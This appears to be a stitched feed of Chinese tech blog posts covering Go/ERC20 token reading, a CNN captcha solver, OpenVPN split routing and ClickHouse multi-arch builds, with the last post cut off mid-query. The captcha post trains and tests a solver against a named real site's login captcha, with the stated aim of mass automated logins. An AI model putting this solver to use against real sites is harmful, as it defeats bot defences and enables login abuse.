为了解决这个问题,我们需要以下工具:
对于 Eth 节点我们直接用公共服务就好,或者如果实在想自建一个的话可以直接用下方 docker-compose.yml 快速启动一个:
version: "3"
services:
geth:
image: ethereum/client-go:latest
restart: unless-stopped
ports:
- 30303:30303
- 30303:30303/udp
- 127.0.0.1:8545:8545
- 127.0.0.1:8546:8546
- 127.0.0.1:8551:8551
volumes:
- ./data:/root/.ethereum
healthcheck:
test: [ "CMD-SHELL", "geth attach --exec eth.blockNumber" ]
interval: 10s
timeout: 5s
retries: 5
command:
- --http
- --goerli
- --cache=8192
- --http.api=eth,net,web3,engine,admin
- --http.addr=0.0.0.0
- --http.vhosts=*
- --http.corsdomain=*
- --maxpeers=200
- --ws
- --ws.origins=*
- --ws.addr=0.0.0.0
- --ws.api=eth,net,web3
- --graphql
- --graphql.corsdomain=*
- --graphql.vhosts=*
- --authrpc.addr=0.0.0.0
- --authrpc.jwtsecret=/root/.ethereum/jwt.hex
- --authrpc.vhosts=*
- --authrpc.port=8551
- --txlookuplimit=0
prysm:
image: gcr.io/prysmaticlabs/prysm/beacon-chain
pull_policy: always
container_name: beacon
restart: unless-stopped
stop_grace_period: 2m
volumes:
- ./prysm_data:/data
- ./data:/geth
depends_on:
geth:
condition: service_healthy
ports:
- 127.0.0.1:4000:4000
- 127.0.0.1:3500:3500
command:
- --accept-terms-of-use
- --datadir=/data
- --disable-monitoring
- --rpc-host=0.0.0.0
- --execution-endpoint=http://geth:8551
- --jwt-secret=/geth/jwt.hex
- --rpc-host=0.0.0.0
- --rpc-port=4000
- --grpc-gateway-corsdomain=*
- --grpc-gateway-host=0.0.0.0
- --grpc-gateway-port=3500
在我所用的系统上似乎没有合适的包,既然都是一堆 Binary,不如直接下载然后解压到 /usr/bin 下:
wget https://gethstore.blob.core.windows.net/builds/geth-alltools-linux-amd64-1.10.18-de23cf91.tar.gz
tar -xvf geth-alltools-linux-amd64-1.10.18-de23cf91.tar.gz
cd geth-alltools-linux-amd64-1.10.18-de23cf91
sudo mv abigen /usr/bin/
sudo mv geth /usr/bin
这里一开始我跟着某个教程 npm install solc -g,然后发现…
The commandline options of solcjs are not compatible with solc and tools (such as geth) expecting the behaviour of solc will not work with solcjs.

让我非常冒火,于是本着能找 Binary 就不要给自己找事情的原则,去找了 Binary 然后解压到 /usr/bin 下:
wget https://github.com/ethereum/solidity/releases/download/v0.8.14/solc-static-linux
chmod +x solc-static-linux
mv solc-static-linux /usr/bin/solc
由于我们打算用 Go 来写一整套东西,所以需要用 Go Ethereum 来读取,而要让 Go Ethereum 能读取合约相关的信息,需要对应的 ABI,大概流程类似如下:
Solidity(ERC20.sol) –(solc)–> ABI(ERC20.abi) –(abigen)–> Go Package(erc20.go)
这里 ERC20.sol 我们就不像网上一些文章一样手搓了,而是直接使用 OpenZeppelin 提供的,关于 OpenZeppelin 的一点介绍如下:
A library for secure smart contract development. Build on a solid foundation of community-vetted code.
要使用他们已经写好的合约信息,找一个空白目录,然后直接 npm install @openzeppelin/contracts 即可在本地 node_modules 下拿到 OpenZeppelin 的所有合约,然后我们在 node_modules/@openzeppelin/contracts/token/ERC20 下可以看到我们想要的 ERC20.sol 文件,这个时候我们构建 abi
solc --abi /path/to/node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol --base-path /path/to/node_modules --output-dir /path/to/
这时你可以在当前目录下找到一个 ERC20.abi 文件,然后我们用 abigen 拿到对应的 erc20.go
abigen --abi=ERC20.abi --pkg=token --out=erc20.go
有了上面拿到的 erc20.go 文件之后,我们在同目录下搞个 read.go 用来驱动,可以这么写:
package main
import (
"fmt"
"log"
"github.com/ethereum/go-ethereum/accounts/abi/bind"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/ethclient"
)
func main() {
client, err := ethclient.Dial("https://goerli.knat.network")
if err != nil {
log.Fatal(err)
}
contract_address := common.HexToAddress("0x3ffc03f05d1869f493c7dbf913e636c6280e0ff9")
// use erc20.go to init instance
contract, err := NewToken(contract_address, client)
decimals, err := contract.Decimals(nil)
if err != nil {
log.Fatal(err)
}
fmt.Println("decimals:", decimals)
symbol, err := contract.Symbol(&bind.CallOpts{})
if err != nil {
log.Fatal(err)
}
fmt.Println("symbol:", symbol)
total_supply, err := contract.TotalSupply(nil)
if err != nil {
log.Fatal(err)
}
fmt.Println("total_supply:", total_supply)
}
然后就可以拿到我们要的信息了~
go run .
decimals: 18
symbol: TEST
total_supply: 1000000000000000000000000000000001300115100103598665898811424167730937505693
🤔 接下来就是找个 DB 写爆咯?

验证码保存下来是一个 160px * 60px 的图片,为了了解这个验证码是怎么生成的,我们可以直接参考这个网站的代码,在 https://github.com/tgbot-collection/YYeTsBot/blob/master/yyetsweb/database.py 下有如下代码:
from captcha.image import ImageCaptcha
captcha_ex = 60 * 10
predefined_str = re.sub(r"[1l0oOI]", "", string.ascii_letters + string.digits)
class CaptchaResource:
redis = Redis()
def get_captcha(self, captcha_id):
chars = "".join([random.choice(predefined_str) for _ in range(4)])
image = ImageCaptcha()
data = image.generate(chars)
self.redis.r.set(captcha_id, chars, ex=captcha_ex)
return f"data:image/png;base64,{base64.b64encode(data.getvalue()).decode('ascii')}"
其中 predefined_str 应该是 BennyThink 大佬精选的字符集(去除了 0oO 这类容易被混淆的字符),字符集内容如下,一共 56 个字符:
abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789
在需要的时候,这个函数生成一个验证码图片(的 base64 版本)和 ID 传到网页上,同时把 captcha_id 和 chars(实际的验证码字符)放在 Redis 中,登录的时候直接从 Redis 中取验证码,利用 Redis 来自动过期,非常精妙。(比我自己写 PHP 的时候去折腾什么 https://github.com/mewebstudio/captcha,然后用 composer 搞半天,还得 override 函数来改 API Endpoint 不知道高端到哪儿去了。)
在已经知道了验证码的生成方式之后,为了实现一瞬间登录 100 次的梦想,我们就得开始考虑如何自动识别验证码了,一般来说,有如下思路:
最终,我们选择了方案 3,利用工作之余,从基础,到完全放弃 AI/ML。

在搜寻了一些资料后发现,主流的方法是使用 CNN(卷积神经网络),或者 RNN(循环神经网络)。
由于上面两个神经网络我完全不熟,这里就不展开了
一般来说,要训练一个模型,有以下典型步骤:
我们一步步来看
由于我们已经知道了验证码是怎么生成的了,所以这里我们并不需要去爆破人人影视分享站的验证码接口来获得验证码(而且这种方式还没法知道真正的验证码是啥),所以摆在我们面前的有两条路,要么预先生成一堆样本用于训练,要么用生成器来实时生成。
第一种方式的好处是训练的时候显卡利用率高,如果你需要经常调参,可以一次生成,多次使用;第二种方式的好处是你不需要生成大量数据,训练过程中可以利用 CPU 生成数据,而且还有一个好处是你可以无限生成数据。
比如我们的验证码是 yTse,那么我们就生成一个 yTse.png 放在一个目录下,PoC 代码如下:
from captcha.image import ImageCaptcha
import string
import re
import random
import os
predefined_str = re.sub(r"[1l0oOI]", "", string.ascii_letters + string.digits)
for i in range(10000):
chars = "".join([random.choice(predefined_str) for _ in range(4)])
image = ImageCaptcha()
data = image.generate(chars)
img_path = "./generated/" + chars + ".png"
image.write(chars, img_path)
这里直接参考了 ypwhs/captcha_break 的代码,不过由于我们的验证码尺寸的问题,做了一些调整:
from tensorflow.keras.utils import Sequence
width, height, n_len, n_class = 160, 60, 4, len(characters)
class CaptchaSequence(Sequence):
def __init__(self, characters, batch_size, steps, n_len=4, width=160, height=60):
self.characters = characters
self.batch_size = batch_size
self.steps = steps
self.n_len = n_len
self.width = width
self.height = height
self.n_class = len(characters)
self.generator = ImageCaptcha(width=width, height=height)
def __len__(self):
return self.steps
def __getitem__(self, idx):
X = np.zeros((self.batch_size, self.height, self.width, 3), dtype=np.float32)
y = [np.zeros((self.batch_size, self.n_class), dtype=np.uint8) for i in range(self.n_len)]
for i in range(self.batch_size):
random_str = ''.join([random.choice(self.characters) for j in range(self.n_len)])
X[i] = np.array(self.generator.generate_image(random_str)) / 255.0
for j, ch in enumerate(random_str):
y[j][i, :] = 0
y[j][i, self.characters.find(ch)] = 1
return X, y
来测试一下这个生成器是否好用:

好用的,由于可以直接使用生成器批量生成验证码,这里直接放弃第一种预先生成的方案。
由于有了生成器,所以训练集和测试集就很好区分了,并不需要传统的 train_test_split 方法,只要:
train_data = CaptchaSequence(characters, batch_size=160, steps=1000)
valid_data = CaptchaSequence(characters, batch_size=160, steps=100)
即可。
由于我对神经网络完全不熟,这里继续参考 ypwhs/captcha_break 的代码和描述,不过由于我们的字符集是 56 位的,所以做了一些调整:
模型结构很简单,特征提取部分使用的是两个卷积,一个池化的结构,这个结构是学的 VGG16 的结构。我们重复五个 block,然后我们将它 Flatten,连接四个分类器,每个分类器是36个神经元,输出36个字符的概率。
from tensorflow.keras.models import *
from tensorflow.keras.layers import *
from tensorflow.keras.callbacks import EarlyStopping, CSVLogger, ModelCheckpoint
from tensorflow.keras.optimizers import *
input_tensor = Input((height, width, 3))
x = input_tensor
for i, n_cnn in enumerate([2, 2, 2, 2, 2]):
for j in range(n_cnn):
x = Conv2D(32*2**min(i, 3), kernel_size=3, padding='same', kernel_initializer='he_uniform')(x)
x = BatchNormalization()(x)
x = Activation('relu')(x)
x = MaxPooling2D(2)(x)
x = Flatten()(x)
x = [Dense(n_class, activation='softmax', name='c%d'%(i+1))(x) for i in range(n_len)]
model = Model(inputs=input_tensor, outputs=x)
callbacks = [EarlyStopping(patience=3), CSVLogger('cnn.csv'), ModelCheckpoint('cnn_best.h5', save_best_only=True)]
model.compile(loss='categorical_crossentropy',
optimizer=Adam(1e-3, amsgrad=True),
metrics=['accuracy'])
model.fit_generator(train_data, epochs=100, validation_data=valid_data, workers=4, use_multiprocessing=True,
callbacks=callbacks)
在 model.fit_generator 之后,机器就会开始自动调参了,由于设置了 EarlyStopping(patience=3),所以这里 epoch 并不会到达 100,而会在 loss 超过了 3 个 epoch 没有下降后自动停止,为了加快速度,可以使用 GPU,但是…
我没有钱,仅存的 GPU 是一个用来玩网页游戏的亮机卡
再次印证了 「ClickHouse 各版本在不同 CPU 架构上的性能差异对比」一文中的说法:「没有钱,就没法做科研」

思来想去,最终决定整个 Telsa:

当然,不是这个 Tesla,而是…

Sun May 21 03:32:58 2022
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 460.32.03 Driver Version: 460.32.03 CUDA Version: 11.2 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 Tesla T4 Off | 00000000:00:04.0 Off | 0 |
| N/A 55C P0 28W / 70W | 6036MiB / 15109MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
+-----------------------------------------------------------------------------+
现在东西都准备齐了,是时候被机器学习了。

每个 Epoch 大约 10 分钟(对比 AMD Ryzen R5 3x00 每个 Epoch 大约需要 50 分钟)
这个时候你只有坐着等的份,和炼丹一样
很快,我们就有了一个比较不错的模型 cnn_best.h5:
1000/1000 [==============================] - 536s 534ms/step - loss: 0.1164 - c1_loss: 0.0238 - c2_loss: 0.0320 - c3_loss: 0.0349 - c4_loss: 0.0256 - c1_accuracy: 0.9913 - c2_accuracy: 0.9887 - c3_accuracy: 0.9879 - c4_accuracy: 0.9907 - val_loss: 0.2460 - val_c1_loss: 0.0325 - val_c2_loss: 0.0650 - val_c3_loss: 0.0963 - val_c4_loss: 0.0521 - val_c1_accuracy: 0.9895 - val_c2_accuracy: 0.9793 - val_c3_accuracy: 0.9711 - val_c4_accuracy: 0.9843

在我们有了模型之后,我们就需要下载回来进行验证了,这次我们直接使用真实验证码来测试,比如我们可以从BennyThink 大佬的「人人影视分享站」上下载一个,然后本地载入模型后进行验证:
from PIL import Image
from tensorflow.keras.models import *
from tensorflow.keras.layers import *
characters = re.sub(r"[1l0oOI]", "", string.ascii_letters + string.digits)
width, height, n_len, n_class = 160, 60, 4, len(characters)
input_tensor = Input((60, 160, 3))
x = input_tensor
for i, n_cnn in enumerate([2, 2, 2, 2, 2]):
for j in range(n_cnn):
x = Conv2D(32*2**min(i, 3), kernel_size=3, padding='same', kernel_initializer='he_uniform')(x)
x = BatchNormalization()(x)
x = Activation('relu')(x)
x = MaxPooling2D(2)(x)
x = Flatten()(x)
x = [Dense(n_class, activation='softmax', name='c%d'%(i+1))(x) for i in range(n_len)]
model = Model(inputs=input_tensor, outputs=x)
model.load_weights('cnn_best.h5')
# Read index.png to local_data
local_data = np.array(Image.open('index.png')) / 255.0
plt.imshow(local_data)
def decode(y):
y = np.argmax(np.array(y), axis=2)[:,0]
return ''.join([characters[x] for x in y])
y_pred = model.predict(local_data.reshape(1, *local_data.shape))
print("Predicted: " + decode(y_pred))
我们用文章开头的例子看看效果?


现在脚本只要稍加改装,就可以实现文章开头提到的一瞬间登录 100 次的梦想了。
由于我不怎么会写代码加上对神经网络部分一窍不通,这里面踩了好多坑。
比如一开始尝试使用类似 MNIST 的方式,魔改 Captcha 的代码,让他只生成单个(无干扰线的)字符的图片用于单独训练,后来发现这样的训练效果很好,但是实际用来识别的时候识别率非常非常低。

然后尝试使用 k 邻域降噪 + OpenCV 二值化的方式给完整验证码降噪,发现效果也很一般(可能我水平不行)。
通过偷代码和抄代码,我们实现了从 0 基础,到完全放弃 AI/ML,同时在运行的过程中对这个领域有了一些了解,现在可以带着问题去正统地学习一下相关知识了。
Happy Hacking!
这是一篇关于网络改造的记录,文章很简单,搞起来很开心。
在 Tuki 的文章「利用树莓派做旁路网关实现家居全局透明科学上网实践」中,我们知道,可以通过 SS-Redir + Unbound + DNScrypt 的方式实现国内外分流并设置海外地址自动走代理,但是这个方案有一些弊端,比如:
为了解决以上几个问题,有如下解决方案:
大概结构如下图:

这里为了演示方便,我使用 OpenVPN 作为例子.
如果你在一个 OpenVPN 没法拨通的地区…(那你应该先自己解决一下这个问题再继续往后看)
在我们拿到一个 OpenVPN 文件后,由于我们需要在内网内共享这个隧道,所以首先需要做的是排除内网地址段,不然 VPN 通了一瞬间你的 SSH 也掉了就很尴尬,很简单,在文件中加入以下几行:
route 127.0.0.1 255.255.255.255 net_gateway
route 192.168.0.0 255.255.0.0 net_gateway
route 172.16.0.0 255.255.0.0 net_gateway
此外,为了防止连接你自己的某些(比如用来帮你连接 OpenVPN 的)服务打环,还需要排除对应的 IP
route 22.33.44.55 255.255.255.255 net_gateway

现在内网 IP 和某些特殊的 IP 不会被走到 VPN 的隧道上了,下一步需要让国内 IP 也不走这个隧道(而是使用默认网关出去),这里使用 https://github.com/fivesheep/chnroutes 来获得国内 IP 段:
wget https://raw.githubusercontent.com/fivesheep/chnroutes/master/chnroutes.py
python2 chnroutes.py
这个脚本会通过 APNIC 上中国 IP 段生成一个 routes.txt,格式类似:
route 1.0.1.0 255.255.255.0 net_gateway 5
route 1.0.2.0 255.255.254.0 net_gateway 5
route 1.0.8.0 255.255.248.0 net_gateway 5
route 1.0.32.0 255.255.224.0 net_gateway 5
route 1.1.0.0 255.255.255.0 net_gateway 5
route 1.1.2.0 255.255.254.0 net_gateway 5

2023-03-30 更新:这里请不要按照下文的说法「直接把整个文件的内容糊到 OVPN 文件的末尾」,而应该转换一下格式为
ip route add 1.0.1.0/24 via 192.168.1.1(其中 192.168.1.1 是你的默认网关 IP),并保存为一个 sh 文件,在启动 VPN 之前启动。这样的好处在于不会像之前的写法一样,每次(可能由于各种原因)重启 OpenVPN 的时候 OpenVPN 需要手动删除所有路由,然后再一条条添加导致启动时间很长,而且重启期间会影响国内的网络访问。
转换格式的简单 Python 代码如下:
import ipaddress
def convert_subnet_mask(mask):
return sum([bin(int(x)).count("1") for x in mask.split(".")])
with open("routes.txt", "r") as file:
for line in file:
line = line.strip().split()
ip = line[1]
mask = convert_subnet_mask(line[2])
cidr = str(ipaddress.IPv4Network((ip, mask)).network_address) + "/" + str(mask)
print("ip route add " + cidr + " via 192.168.1.1" )
直接把整个文件的内容糊到 OVPN 文件的末尾即可,如果后续需要将某个 IP 不走隧道,可以参考类似的格式加入一条记录并重启 OpenVPN。
此时,OpenVPN 的文件已经制作完成,如果你和我一样使用 Ubuntu 作为漏由器的话,把这个 some-vpn.ovpn 文件放到漏由器的 /etc/openvpn/some-vpn.conf 文件即可,然后…
systemctl start openvpn@some-vpn
iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
哦对了,记得打开 ip_forward ,在 /etc/sysctl.conf 文件里面加入:
net.ipv4.ip_forward=1
并 sysctl -p。
这个时候,你的漏由器应该已经可以开始漏由了,我们把电脑的网关设置成漏由的 IP 测试一下看看效果:
traceroute to 1.1.1.1 (1.1.1.1), 30 hops max, 60 byte packets
1 _gateway (192.168.233.200) 0.347 ms 0.331 ms *
2 * * *
3 * * *
4 * * *
5 * * *
6 * * * (**.**.**.**) 236.233 ms
7 * * * (**.**.**.**) 231.722 ms
8 * * * (**.**.**.**) 190.069 ms
9 cloudflare-sgp.cdn77.com (45.134.215.21) 132.932 ms * 187.737 ms
10 172.70.140.5 (172.70.140.5) 187.430 ms 162.158.168.4 (162.158.168.4) 185.075 ms 192.811 ms
11 one.one.one.one (1.1.1.1) 192.735 ms 191.321 ms 194.676 ms

如果你希望你的隧道 IP 能像 Tor 一样动态切换的话,可以考虑将多个 OpenVPN IP 加到一个域名内,然后定期重启 OpenVPN。
下一步就是安裝 DNS 啦,非常简单,可以直接参考 「利用树莓派做旁路网关实现家居全局透明科学上网实践」一文,只不过 forward-zone 这里可以直接写一个合理的服务器地址了,比如 1.1.1.1
forward-zone:
name: "."
forward-addr: 1.1.1.1
forward-first: no
在以上操作完成了之后,修改路由器 DHCP 设置,下发网关和 DNS 为这个机器的 IP 即可。
通过以上步骤,你应该已经可以得到一个:
不要梦中开车,在建立好服务后第一时间建好监控,至少监控以下指标:
有了监控之后我们就可以检测不同的网络质量情况如何了。

用了 OpenVPN 才知道这个东西的 Overhead 是真的大,同时也深刻感受到了,即使在网络正常的地区,跨洲拨 VPN 也是一个体验极差的事情,如果你本来的出口在日本,那就不要给自己找不快活去拨个瑞典的 VPN(除非你有什么特别的隧道)。
树莓派似乎真的不适合做漏由器,routes.txt 中 8000+ 条路由的添加速度非常的慢(启动 VPN + 改路由可能至少需要 20 分钟),不知道为啥。
需求嘛,总是一步一步,慢慢迭代到这么样子的,最初,我只是想在 ARM64 的平台上安安静静地运行 ClickHouse,然后发现官方没有提供 ARM64 的 Docker 镜像,已有的 ARM64 镜像(比如 altinity/clickhouse-server:21.12.3.32.altinitydev.arm 和 lunalabsltd/clickhouse-server:21.7.2.7-arm 找不到对应的 Dockerfile 而且版本很少),本来想自己构建一下 ClickHouse 的 ARM64 镜像却发现官方只提供 Master 分支的 Binary https://builds.clickhouse.com/master/aarch64/clickhouse)
ARM 无人权这句话,是真的
为了构建 Multi-Arch 的 ClickHouse,我们需要了解官方的 ClickHouse 是怎么构建的,在阅读了官方 Dockerfile 后,我们了解到,要成功构建 ClickHouse,需要以下:
要构建 Multi-Arch 的镜像就需要 Multi-Arch 的构建工具,由于安装 CMake 等构建工具需要手动编译,耗时很久,且是一个通用组件(应该由 GitHub Actions 这类 CI 来完成),于是我将构建工具放到了 https://github.com/knatnetwork/clickhouse-builder ,在有了构建工具之后我们就可以按照 「在 GitHub Actions 上使用多 Job 并行构建,提升 Multi-Arch 镜像制作速度」的方式进行分类构建,相关的 Workflow 类似如下:
build-arm64-image:
name: Build v${{ github.event.inputs.clickhouse-version }} ARM64 Image
runs-on: [self-hosted,arm64]
steps:
- uses: actions/checkout@v3
- name: Clone Clickhouse and submodules
run: |
git clone https://github.com/ClickHouse/ClickHouse.git
cd ClickHouse && git checkout v${{ github.event.inputs.clickhouse-version }} && git submodule update --init --recursive
- name: Login to Docker Hub
uses: docker/login-action@v1
with:
username: knatnetwork
password: ${{ secrets.DOCKERHUB_PASSWD }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v1
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Build and push latest images
uses: docker/build-push-action@v2
with:
context: .
platforms: linux/arm64
push: true
tags: |
knatnetwork/clickhouse-arm64:${{ github.event.inputs.clickhouse-version }}
关于构建的 Dockerfile 可以直接参考:https://github.com/knatnetwork/clickhouse-server/blob/master/Dockerfile
这里由于 GitHub Actions 机器的配置过于拉跨,6 小时内都很难构建完成 AMD64 版本的 Binary,所以只能使用 Self-hosted 的机器。
为了快速构建 ClickHouse,这里我使用了两类机器来构建:
由于有了之前开源的 https://github.com/knatnetwork/github-runner ,要快速水平扩展 Runner 只需要大量开机器,然后用 Ansible 把 docker-compose.yml 和 config.json 文件推上去启动即可,很快,我们就有了一些 Runner:

很快,我的钱包也瘪了,AWS 一个晚上花了 100+ USD

不过问题不大,钱已经花了,经过一个晚上的持续运行,我们成功地构建了 ClickHouse 上从最新 Tag 到 21.7 之间的所有版本(21.7 版本构建会报错,后文会涉及),准确来说,构建了如下镜像:
knatnetwork/clickhouse-server:22.2.3.5-stable,knatnetwork/clickhouse-server:22.2.2.1-stable,knatnetwork/clickhouse-server:22.1.4.30-stable,knatnetwork/clickhouse-server:22.1.3.7-stable,knatnetwork/clickhouse-server:22.1.2.2-stable,knatnetwork/clickhouse-server:21.12.4.1-stable,knatnetwork/clickhouse-server:21.12.3.32-stable,knatnetwork/clickhouse-server:21.12.2.17-stable,knatnetwork/clickhouse-server:21.11.11.1-stable,knatnetwork/clickhouse-server:21.11.10.1-stable,knatnetwork/clickhouse-server:21.11.9.1-stable,knatnetwork/clickhouse-server:21.11.8.4-stable,knatnetwork/clickhouse-server:21.11.7.9-stable,knatnetwork/clickhouse-server:21.11.6.7-stable,knatnetwork/clickhouse-server:21.11.5.33-stable,knatnetwork/clickhouse-server:21.11.4.14-stable,knatnetwork/clickhouse-server:21.11.3.6-stable,knatnetwork/clickhouse-server:21.11.2.2-stable,knatnetwork/clickhouse-server:21.10.6.2-stable,knatnetwork/clickhouse-server:21.10.5.3-stable,knatnetwork/clickhouse-server:21.10.4.26-stable,knatnetwork/clickhouse-server:21.10.3.9-stable,knatnetwork/clickhouse-server:21.10.2.15-stable,knatnetwork/clickhouse-server:21.9.6.24-stable,knatnetwork/clickhouse-server:21.9.5.16-stable,knatnetwork/clickhouse-server:21.9.4.35-stable,knatnetwork/clickhouse-server:21.9.3.30-stable,knatnetwork/clickhouse-server:21.9.2.17-stable,knatnetwork/clickhouse-server:21.8.15.7-lts,knatnetwork/clickhouse-server:21.8.14.5-lts,knatnetwork/clickhouse-server:21.8.13.6-lts,knatnetwork/clickhouse-server:21.8.12.29-lts,knatnetwork/clickhouse-server:21.8.11.4-lts,knatnetwork/clickhouse-server:21.8.10.19-lts,knatnetwork/clickhouse-server:21.8.9.13-lts,knatnetwork/clickhouse-server:21.8.8.29-lts,knatnetwork/clickhouse-server:21.8.7.22-lts,knatnetwork/clickhouse-server:21.8.6.15-lts,knatnetwork/clickhouse-server:21.8.5.7-lts,knatnetwork/clickhouse-server:21.8.4.51-lts,knatnetwork/clickhouse-server:21.8.3.44-lts
而且都是 Multi-Arch 的,地址在: https://hub.docker.com/r/knatnetwork/clickhouse-server

花了这么多钱贡献了这么多镜像,总希望可以做点测试,由于我代码写的不行,又没有搞测试的经验,暂时只想到了以下两个测试点:
由于我不懂 SQL 也对 ClickHouse 一窍不通,所以这里参考了 ClickHouse 官方的测试方式:(官方的展示:https://clickhouse.com/benchmark/hardware/),
数据集采用了一个公开的数据集,地址在:https://datasets.clickhouse.com/hits/partitions/hits_100m_obfuscated_v1.tar.xz, 总共 100000000 条数据,解压后 16G,测试的方式为用 ClickHouse 官方提供的 43 条 SQL 语句进行测试(可能这 43 条语句覆盖了大部分使用场景)
SELECT count() FROM hits_100m_obfuscated;
SELECT count() FROM hits_100m_obfuscated WHERE AdvEngineID != 0;
SELECT sum(AdvEngineID), count(), avg(ResolutionWidth) FROM hits_100m_obfuscated ;
SELECT sum(UserID) FROM hits_100m_obfuscated ;
SELECT uniq(UserID) FROM hits_100m_obfuscated ;
SELECT uniq(SearchPhrase) FROM hits_100m_obfuscated ;
SELECT min(EventDate), max(EventDate) FROM hits_100m_obfuscated ;
SELECT AdvEngineID, count() FROM hits_100m_obfuscated WHERE AdvEngineID != 0 GROUP BY AdvEngineID ORDER BY count() DESC;
SELECT RegionID, uniq(UserID) AS u FROM hits_100m_obfuscated GROUP BY RegionID ORDER BY u DESC LIMIT 10;
SELECT RegionID, sum(AdvEngineID), count() AS c, avg(ResolutionWidth), uniq(UserID) FROM hits_100m_obfuscated GROUP BY RegionID ORDER BY c DESC LIMIT 10;
SELECT MobilePhoneModel, uniq(UserID) AS u FROM hits_100m_obfuscated WHERE MobilePhoneModel != '' GROUP BY MobilePhoneModel ORDER BY u DESC LIMIT 10;
SELECT MobilePhone, MobilePhoneModel, uniq(UserID) AS u FROM hits_100m_obfuscated WHERE MobilePhoneModel != '' GROUP BY MobilePhone, MobilePhoneModel ORDER BY u DESC LIMIT 10;
SELECT SearchPhrase, count() AS c FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT SearchPhrase, uniq(UserID) AS u FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchPhrase ORDER BY u DESC LIMIT 10;
SELECT SearchEngineID, SearchPhrase, count() AS c FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchEngineID, SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT UserID, count() FROM hits_100m_obfuscated GROUP BY UserID ORDER BY count() DESC LIMIT 10;
SELECT UserID, SearchPhrase, count() FROM hits_100m_obfuscated GROUP BY UserID, SearchPhrase ORDER BY count() DESC LIMIT 10;
SELECT UserID, SearchPhrase, count() FROM hits_100m_obfuscated GROUP BY UserID, SearchPhrase LIMIT 10;
SELECT UserID, toMinute(EventTime) AS m, SearchPhrase, count() FROM hits_100m_obfuscated GROUP BY UserID, m, SearchPhrase ORDER BY count() DESC LIMIT 10;
SELECT UserID FROM hits_100m_obfuscated WHERE UserID = 12345678901234567890;
SELECT count() FROM hits_100m_obfuscated WHERE URL LIKE '%metrika%';
SELECT SearchPhrase, any(URL), count() AS c FROM hits_100m_obfuscated WHERE URL LIKE '%metrika%' AND SearchPhrase != '' GROUP BY SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT SearchPhrase, any(URL), any(Title), count() AS c, uniq(UserID) FROM hits_100m_obfuscated WHERE Title LIKE '%Яндекс%' AND URL NOT LIKE '%.yandex.%' AND SearchPhrase != '' GROUP BY SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT * FROM hits_100m_obfuscated WHERE URL LIKE '%metrika%' ORDER BY EventTime LIMIT 10;
SELECT SearchPhrase FROM hits_100m_obfuscated WHERE SearchPhrase != '' ORDER BY EventTime LIMIT 10;
SELECT SearchPhrase FROM hits_100m_obfuscated WHERE SearchPhrase != '' ORDER BY SearchPhrase LIMIT 10;
SELECT SearchPhrase FROM hits_100m_obfuscated WHERE SearchPhrase != '' ORDER BY EventTime, SearchPhrase LIMIT 10;
SELECT CounterID, avg(length(URL)) AS l, count() AS c FROM hits_100m_obfuscated WHERE URL != '' GROUP BY CounterID HAVING c > 100000 ORDER BY l DESC LIMIT 25;
SELECT domainWithoutWWW(Referer) AS key, avg(length(Referer)) AS l, count() AS c, any(Referer) FROM hits_100m_obfuscated WHERE Referer != '' GROUP BY key HAVING c > 100000 ORDER BY l DESC LIMIT 25;
SELECT sum(ResolutionWidth), sum(ResolutionWidth + 1), sum(ResolutionWidth + 2), sum(ResolutionWidth + 3), sum(ResolutionWidth + 4), sum(ResolutionWidth + 5), sum(ResolutionWidth + 6), sum(ResolutionWidth + 7), sum(ResolutionWidth + 8), sum(ResolutionWidth + 9), sum(ResolutionWidth + 10), sum(ResolutionWidth + 11), sum(ResolutionWidth + 12), sum(ResolutionWidth + 13), sum(ResolutionWidth + 14), sum(ResolutionWidth + 15), sum(ResolutionWidth + 16), sum(ResolutionWidth + 17), sum(ResolutionWidth + 18), sum(ResolutionWidth + 19), sum(ResolutionWidth + 20), sum(ResolutionWidth + 21), sum(ResolutionWidth + 22), sum(ResolutionWidth + 23), sum(ResolutionWidth + 24), sum(ResolutionWidth + 25), sum(ResolutionWidth + 26), sum(ResolutionWidth + 27), sum(ResolutionWidth + 28), sum(ResolutionWidth + 29), sum(ResolutionWidth + 30), sum(ResolutionWidth + 31), sum(ResolutionWidth + 32), sum(ResolutionWidth + 33), sum(ResolutionWidth + 34), sum(ResolutionWidth + 35), sum(ResolutionWidth + 36), sum(ResolutionWidth + 37), sum(ResolutionWidth + 38), sum(ResolutionWidth + 39), sum(ResolutionWidth + 40), sum(ResolutionWidth + 41), sum(ResolutionWidth + 42), sum(ResolutionWidth + 43), sum(ResolutionWidth + 44), sum(ResolutionWidth + 45), sum(ResolutionWidth + 46), sum(ResolutionWidth + 47), sum(ResolutionWidth + 48), sum(ResolutionWidth + 49), sum(ResolutionWidth + 50), sum(ResolutionWidth + 51), sum(ResolutionWidth + 52), sum(ResolutionWidth + 53), sum(ResolutionWidth + 54), sum(ResolutionWidth + 55), sum(ResolutionWidth + 56), sum(ResolutionWidth + 57), sum(ResolutionWidth + 58), sum(ResolutionWidth + 59), sum(ResolutionWidth + 60), sum(ResolutionWidth + 61), sum(ResolutionWidth + 62), sum(ResolutionWidth + 63), sum(ResolutionWidth + 64), sum(ResolutionWidth + 65), sum(ResolutionWidth + 66), sum(ResolutionWidth + 67), sum(ResolutionWidth + 68), sum(ResolutionWidth + 69), sum(ResolutionWidth + 70), sum(ResolutionWidth + 71), sum(ResolutionWidth + 72), 